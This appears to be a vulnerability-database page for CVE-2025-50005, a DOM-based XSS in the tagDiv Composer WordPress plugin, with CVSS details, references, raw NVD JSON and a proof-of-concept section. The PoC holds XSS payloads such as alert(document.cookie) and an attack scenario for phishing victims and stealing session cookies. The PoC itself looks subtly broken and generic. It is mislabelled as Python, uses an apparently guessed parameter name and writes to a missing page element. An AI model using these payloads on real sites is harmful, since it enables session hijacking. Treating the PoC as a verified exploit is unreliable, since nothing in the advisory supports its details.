CVE-2025-50005

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in tagDiv tagDiv Composer td-composer allows DOM-Based XSS.This issue affects tagDiv Composer: from n/a through <= 5.4.2.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

tagDiv Composer <= 5.4.2 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-50005 DOM-Based XSS PoC -->
<!-- This PoC demonstrates the DOM-based XSS vulnerability in tagDiv Composer -->

<!-- Method 1: Via URL parameter injection -->
<script>
  // Generate malicious URL with XSS payload
  const baseUrl = window.location.origin + window.location.pathname;
  const maliciousPayload = '<img src=x onerror=alert(document.domain)>';
  const exploitUrl = baseUrl + '?td_composer_param=' + encodeURIComponent(maliciousPayload);
  
  // Display exploit URL for testing
  console.log('Exploit URL:', exploitUrl);
  document.getElementById('poc-url').textContent = exploitUrl;
</script>

<!-- Method 2: Direct payload injection -->
<!-- <img src=x onerror=alert(document.cookie)> -->
<!-- <svg onload=alert(document.domain)> -->
<!-- <body onload=alert(document.location)> -->

<!-- Attack scenario: -->
<!-- 1. Attacker crafts a malicious URL with XSS payload in parameter -->
<!-- 2. Attacker tricks victim into clicking the link via phishing email or social media -->
<!-- 3. Victim's browser executes the injected JavaScript -->
<!-- 4. Attacker steals session cookies or performs actions on behalf of victim -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-50005
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-50005
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-50005/
[4] VulDB https://vuldb.com/cve/CVE-2025-50005
[5] https://patchstack.com/database/Wordpress/Plugin/td-composer/vulnerability/wordpress-tagdiv-composer-plugin-5-4-2-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-50005", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:15:57.017", "lastModified": "2026-04-27T16:16:27.847", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in tagDiv tagDiv Composer td-composer allows DOM-Based XSS.This issue affects tagDiv Composer: from n/a through <= 5.4.2."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en tagDiv tagDiv Composer td-composer permite XSS basado en DOM. Este problema afecta a tagDiv Composer: desde n/a hasta <= 5.4.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/td-composer/vulnerability/wordpress-tagdiv-composer-plugin-5-4-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}